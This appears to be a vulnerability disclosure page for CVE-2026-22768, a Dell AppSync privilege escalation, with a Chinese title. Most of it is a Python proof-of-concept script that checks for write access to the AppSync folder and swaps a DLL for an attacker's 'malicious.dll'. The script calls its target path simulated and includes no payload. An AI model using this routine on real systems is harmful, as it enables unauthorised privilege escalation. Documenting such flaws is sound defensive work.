CVE-2026-22768: Dell AppSync权限分配不当导致提权漏洞

# Proof of Concept (PoC) for Permission Assignment Vulnerability # This script demonstrates how a low-privileged user might exploit weak permissions # to replace a critical binary and achieve privilege escalation. import os import shutil def exploit_poc(): # Simulated path to the vulnerable critical resource (e.g., a config or DLL) target_path = "C:\\Program Files\\Dell\\AppSync\\critical_component.dll" # Path to the malicious payload crafted by the attacker malicious_payload_path = "C:\\Users\\low_priv_user\\malicious.dll" print("[*] Checking write permissions on target resource...") # Check if the low-privileged user can write to the target location if os.access(os.path.dirname(target_path), os.W_OK): print(f"[+] Write access confirmed on {os.path.dirname(target_path)}") # Backup original file (optional, for demonstration) backup_path = target_path + ".bak" if os.path.exists(target_path): shutil.copy(target_path, backup_path) print(f"[*] Original file backed up to {backup_path}") # Replace the legitimate file with the malicious payload try: shutil.copy(malicious_payload_path, target_path) print(f"[+] Successfully replaced {target_path} with malicious payload.") print("[*] Waiting for service restart or user interaction to trigger execution...") print("[!] Privilege escalation condition met.") except Exception as e: print(f"[-] Failed to replace file: {e}") else: print("[-] No write access. Exploit failed.") if __name__ == "__main__": exploit_poc()